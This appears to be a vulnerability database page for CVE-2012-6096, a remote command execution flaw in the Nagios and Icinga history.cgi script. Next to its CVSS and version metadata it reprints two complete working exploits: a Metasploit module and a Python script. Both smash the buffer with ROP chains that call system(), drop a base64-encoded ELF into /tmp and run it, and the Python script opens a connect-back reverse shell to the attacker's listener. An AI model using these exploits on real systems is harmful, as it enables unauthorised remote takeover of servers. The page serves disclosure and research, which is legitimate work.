Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 24159
Publication date : 2013-01-15 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Nagios3 history.cgi Host Command Execution',
'Description' => %q{
This module abuses a command injection vulnerability in the
Nagios3 history.cgi script.
},
'Author' => [
'Unknown <
[email protected]>', # Original finding
'blasty <
[email protected]>', # First working exploit
'Jose Selvi <
[email protected]>', # Metasploit module
'Daniele Martini <cyrax[at]pkcrew.org>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-6096' ],
[ 'OSVDB', '88322' ],
[ 'BID', '56879' ],
[ 'EDB', '24084' ],
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2012-December/089125.html' ]
],
'Platform' => ['unix', 'linux'],
'Arch' => [ ARCH_X86 ],
'Privileged' => false,
'Payload' =>
{
'Space' => 200, # Due to a system() parameter length limitation
'BadChars' => '', # It'll be base64 encoded
},
'Targets' =>
[
[ 'Automatic Target', { 'auto' => true }],
# NOTE: All addresses are from the history.cgi binary
[ 'Appliance Nagios XI 2012R1.3 (CentOS 6.x)',
{
'BannerRE' => 'Apache/2.2.15 (CentOS)',
'VersionRE' => '3.4.1',
'Arch' => ARCH_X86,
'Offset' => 0xc43,
'RopStack' =>
[
0x0804c260, # unescape_cgi_input()
0x08048f04, # pop, ret
0x08079b60, # buffer addr
0x08048bb0, # system()
0x08048e70, # exit()
0x08079b60 # buffer addr
]
}
],
[ 'Debian 5 (nagios3_3.0.6-4~lenny2_i386.deb)',
{
'BannerRE' => 'Apache/2.2.9 (Debian)',
'VersionRE' => '3.0.6',
'Arch' => ARCH_X86,
'Offset' => 0xc37,
'RopStack' =>
[
0x0804b620, # unescape_cgi_input()
0x08048fe4, # pop, ret
0x080727a0, # buffer addr
0x08048c7c, # system()
0xdeafbabe, # if should be exit() but it's not
0x080727a0 # buffer addr
]
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 09 2012'))
register_options(
[
OptString.new('TARGETURI', [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]),
OptString.new('USER', [false, "The username to authenticate with", "nagiosadmin"]),
OptString.new('PASS', [false, "The password to authenticate with", "nagiosadmin"]),
], self.class)
end
def detect_version(uri)
# Send request
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
}, 10)
# Error handling
if res.nil?
print_error("Unable to get a response from the server")
return nil, nil
end
if(res.code == 401)
print_error("Please specify correct values for USER and PASS")
return nil, nil
end
if(res.code == 404)
print_error("Please specify the correct path to history.cgi in the URI parameter")
return nil, nil
end
# Extract banner from response
banner = res.headers['Server']
# Extract version from body
version = nil
version_line = res.body.match(/Nagios® (Core™ )?[0-9.]+ -/)
if not version_line.nil?
version = version_line[0].match(/[0-9.]+/)[0]
end
# Check in an alert exists
alert = res.body.match(/ALERT/)
return version, banner, alert
end
def select_target(version, banner)
# No banner and version, no target
if banner.nil? or version.nil?
return nil
end
# Get version information
print_status("Web Server banner: #{banner}")
print_status("Nagios version detected: #{version}")
# Try regex for each target
self.targets.each do |t|
if t['BannerRE'].nil? or t['VersionRE'].nil? # It doesn't exist in Auto Target
next
end
regexp1 = Regexp.escape(t['BannerRE'])
regexp2 = Regexp.escape(t['VersionRE'])
if ( banner =~ /#{regexp1}/ and version =~ /#{regexp2}/ ) then
return t
end
end
# If not detected, return nil
return nil
end
def check
print_status("Checking banner and version...")
# Detect version
banner, version, alert = detect_version(target_uri.path)
# Select target
mytarget = select_target(banner, version)
if mytarget.nil?
print_error("No matching target")
return CheckCode::Unknown
end
if alert.nil?
print_error("At least one ALERT is needed in order to exploit")
return CheckCode::Detected
end
return CheckCode::Vulnerable
end
def exploit
# Automatic Targeting
mytarget = nil
banner, version, alert = detect_version(target_uri.path)
if (target['auto'])
print_status("Automatically detecting the target...")
mytarget = select_target(banner, version)
if mytarget.nil?
fail_with(Exploit::Failure::NoTarget, "No matching target")
end
else
mytarget = target
end
print_status("Selected Target: #{mytarget.name}")
if alert.nil?
print_error("At least one ALERT is needed in order to exploit, none found in the first page, trying anyway...")
end
print_status("Sending request to http://#{rhost}:#{rport}#{target_uri.path}")
# Generate a payload ELF to execute
elfbin = generate_payload_exe
elfb64 = Rex::Text.encode_base64(elfbin)
# Generate random filename
tempfile = '/tmp/' + rand_text_alphanumeric(10)
# Generate command-line execution
if mytarget.name =~ /CentOS/
cmd = "echo #{elfb64}|base64 -d|tee #{tempfile};chmod 700 #{tempfile};rm -rf #{tempfile}|#{tempfile};"
else
cmd = "echo #{elfb64}|base64 -d|tee #{tempfile} |chmod +x #{tempfile};#{tempfile};rm -f #{tempfile}"
end
host_value = cmd.gsub!(' ', '${IFS}')
# Generate 'host' parameter value
padding_size = mytarget['Offset'] - host_value.length
host_value << rand_text_alphanumeric( padding_size )
# Generate ROP
host_value << mytarget['RopStack'].pack('V*')
# Send exploit
res = send_request_cgi({
'method' => 'GET',
'uri' => target_uri.path,
'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
'vars_get' =>
{
'host' => host_value
}
})
if not res
if session_created?
print_status("Session created, enjoy!")
else
print_error("No response from the server")
end
return
end
if res.code == 401
fail_with(Exploit::Failure::NoAccess, "Please specify correct values for USER and PASS")
end
if res.code == 404
fail_with(Exploit::Failure::NotFound, "Please specify the correct path to history.cgi in the TARGETURI parameter")
end
print_status("Unknown response #{res.code}")
end
end
Exploit Database EDB-ID : 24084
Publication date : 2013-01-12 23h00 +00:00
Author : blasty
EDB Verified : Yes
#!/usr/bin/python
#
# CVE-2012-6096 - Nagios history.cgi Remote Command Execution
# ===========================================================
# Another year, another reincarnation of classic and trivial
# bugs to exploit. This time we attack Nagios.. or more
# specifically, one of its CGI scripts. [1]
#
# The Nagios code is an amazing monster. It reminds me a
# lot of some of my early experiments in C, back when I
# still had no clue what I was doing. (Ok, fair enough,
# I still don't, heheh.)
#
# Ok, I'll come clean. This exploit doesn't exactly
# defeat FORTIFY. This approach is likely to work just FINE
# on other crippled distro's though, think of stuff like
# ArchLinux, Slackware, and all those Gentoo kids twiddling
# their CFLAGS. [2] (Oh and hey, BSD and stuff!)
#
# I do some very stupid shit(tm) here that might make an
# exploit coder or two cringe. My sincere apologies for that.
#
# Cold beer goes out to my friends who are still practicing
# this dying but interesting type of art:
#
# * brainsmoke * masc * iZsh * skier_ * steve *
#
# -- blasty <
[email protected]> / 2013-01-08
#
# References:
# [1] http://permalink.gmane.org/gmane.comp.security.oss.general/9109
# [2] http://www.funroll-loops.info/
#
# P.S. To the clown who rebranded my Samba exploit: j00 s0 1337 m4n!
# Next time you rebrand an exploit at least show some diligence and
# add some additional targets or improvements, so we can all profit!
#
# P.P.S. hey, Im not _burning_ bugs .. this is a 2day, enjoy!
#
import os, sys, socket, struct, urllib, threading, SocketServer, time
from base64 import b64encode
SocketServer.TCPServer.allow_reuse_address = True
targets = [
{
"name" : "Debian (nagios3_3.0.6-4~lenny2_i386.deb)",
"smash_len" : 0xc37,
"unescape" : 0x0804b620,
"popret" : 0x08048fe4,
"hostbuf" : 0x080727a0,
"system_plt" : 0x08048c7c
}
]
def u32h(v):
return struct.pack("<L", v).encode('hex')
def u32(v, hex = False):
return struct.pack("<L", v)
# Tiny ELF stub based on:
# http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html
def make_elf(sc):
elf_head = \
"7f454c46010101000000000000000000" + \
"02000300010000005480040834000000" + \
"00000000000000003400200001000000" + \
"00000000010000000000000000800408" + \
"00800408" + u32h(0x54+len(sc))*2 + \
"0500000000100000"
return elf_head.decode("hex") + sc
# interactive connectback listener
class connectback_shell(SocketServer.BaseRequestHandler):
def handle(self):
print "\n[!!] K4P0W!@# -> shell from %s" % self.client_address[0]
print "[**] This shell is powered by insane amounts of illegal substances"
s = self.request
import termios, tty, select, os
old_settings = termios.tcgetattr(0)
try:
tty.setcbreak(0)
c = True
os.write(s.fileno(), "id\nuname -a\n")
while c:
for i in select.select([0, s.fileno()], [], [], 0)[0]:
c = os.read(i, 1024)
if c:
if i == 0:
os.write(1, c)
os.write(s.fileno() if i == 0 else 1, c)
except KeyboardInterrupt: pass
finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)
return
class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
pass
if len(sys.argv) != 5:
print "\n >> Nagios 3.x CGI remote code execution by <
[email protected]>"
print " >> \"Jetzt geht's Nagi-los!\"\n"
print " usage: %s <base_uri> <myip> <myport> <target>\n" % (sys.argv[0])
print " targets:"
i = 0
for target in targets:
print " %02d) %s" % (i, target['name'])
i = i+1
print ""
sys.exit(-1)
target_no = int(sys.argv[4])
if target_no < 0 or target_no > len(targets):
print "Invalid target specified"
sys.exit(-1)
target = targets[ int(sys.argv[4]) ]
# comment this shit if you want to setup your own listener
server = ThreadedTCPServer((sys.argv[2], int(sys.argv[3])), connectback_shell)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()
# shellcode to be executed
# vanilla x86/linux connectback written by a dutch gentleman
# close to a decade ago.
cback = \
"31c031db31c951b10651b10151b10251" + \
"89e1b301b066cd8089c231c031c95151" + \
"68badc0ded6668b0efb102665189e7b3" + \
"1053575289e1b303b066cd8031c939c1" + \
"740631c0b001cd8031c0b03f89d3cd80" + \
"31c0b03f89d3b101cd8031c0b03f89d3" + \
"b102cd8031c031d250686e2f7368682f" + \
"2f626989e3505389e1b00bcd8031c0b0" + \
"01cd80"
cback = cback.replace("badc0ded", socket.inet_aton(sys.argv[2]).encode("hex"))
cback = cback.replace("b0ef", struct.pack(">H", int(sys.argv[3])).encode("hex"))
# Eww.. so there's some characters that dont survive the trip..
# yes, even with the unescape() call in our return-chain..
# initially I was going to use some /dev/tcp based connectback..
# but /dev/tcp isn't available/accesible everywhere, so instead
# we drop an ELF into /tmp and execute that. The '>' characters
# also doesn't survive the trip so we work around this by using
# the tee(1) utility.
# If your target has a /tmp that is mounted with noexec flag,
# is severely firewalled or guarded by trained (watch)dogs..
# you might want to reconsider this approach!
cmd = \
"rm -rf /tmp/x;" + \
"echo " + b64encode(make_elf(cback.decode('hex'))) + "|" + \
"base64 -d|tee /tmp/x|chmod +x /tmp/x;/tmp/x;"
# Spaces (0x20) are also a problem, they always ends up as '+' :-(
# so apply some olde trick and rely on $IFS for argv separation
cmd = cmd.replace(" ", "${IFS}")
# Basic return-2-whatever/ROP chain.
# We return into cgi_input_unescape() to get rid of
# URL escaping in a static buffer we control, and then
# we return into system@plt for the moneyshot.
#
# Ergo sum:
# There's no memoryleak or whatever needed to leak libc
# base and bypass ASLR.. This entire Nagios PoS is stringed
# together by system() calls, so pretty much every single one
# of their little silly binaries comes with a PLT entry for
# system(), huzzah!
rop = [
u32(target['unescape']),
u32(target['popret']),
u32(target['hostbuf']),
u32(target['system_plt']),
u32(0xdeafbabe),
u32(target['hostbuf'])
]
# Yes.. urllib, so it supports HTTPS, basic-auth and whatnot
# out of the box. Building HTTP requests from scratch is so 90ies..
params = urllib.urlencode({
'host' : cmd + "A"*(target['smash_len']-len(cmd)) + "".join(rop)
})
print "[>>] CL1Q .."
f = urllib.urlopen(sys.argv[1]+"/cgi-bin/history.cgi?%s" % params)
print "[>>] CL4Q .."
f.read()
# TRIAL PERIOD ACTIVE, LOL!
time.sleep(0x666)
server.shutdown()
Products Mentioned
Configuraton 0
Nagios>>Nagios >> Version To (including) 3.4.3
Nagios>>Nagios >> Version 3.0
Nagios>>Nagios >> Version 3.0
Nagios>>Nagios >> Version 3.0
Nagios>>Nagios >> Version 3.0
Nagios>>Nagios >> Version 3.0
Nagios>>Nagios >> Version 3.0
Nagios>>Nagios >> Version 3.0
Nagios>>Nagios >> Version 3.0
Nagios>>Nagios >> Version 3.0
Nagios>>Nagios >> Version 3.0
Nagios>>Nagios >> Version 3.0
Nagios>>Nagios >> Version 3.0
Nagios>>Nagios >> Version 3.0
Nagios>>Nagios >> Version 3.0
Nagios>>Nagios >> Version 3.0
Nagios>>Nagios >> Version 3.0
Nagios>>Nagios >> Version 3.0.1
Nagios>>Nagios >> Version 3.0.2
Nagios>>Nagios >> Version 3.0.3
Nagios>>Nagios >> Version 3.0.4
Nagios>>Nagios >> Version 3.0.5
Nagios>>Nagios >> Version 3.0.6
Nagios>>Nagios >> Version 3.1.0
Nagios>>Nagios >> Version 3.1.1
Nagios>>Nagios >> Version 3.1.2
Nagios>>Nagios >> Version 3.2.0
Nagios>>Nagios >> Version 3.2.1
Nagios>>Nagios >> Version 3.2.2
Nagios>>Nagios >> Version 3.2.3
Nagios>>Nagios >> Version 3.3.1
Nagios>>Nagios >> Version 3.4.0
Nagios>>Nagios >> Version 3.4.1
Nagios>>Nagios >> Version 3.4.2
Configuraton 0
Icinga>>Icinga >> Version 1.6.0
Icinga>>Icinga >> Version 1.6.1
Icinga>>Icinga >> Version 1.7.0
Icinga>>Icinga >> Version 1.7.1
Icinga>>Icinga >> Version 1.7.2
Icinga>>Icinga >> Version 1.7.3
Icinga>>Icinga >> Version 1.8.0
Icinga>>Icinga >> Version 1.8.1
Icinga>>Icinga >> Version 1.8.2
Icinga>>Icinga >> Version 1.8.3
References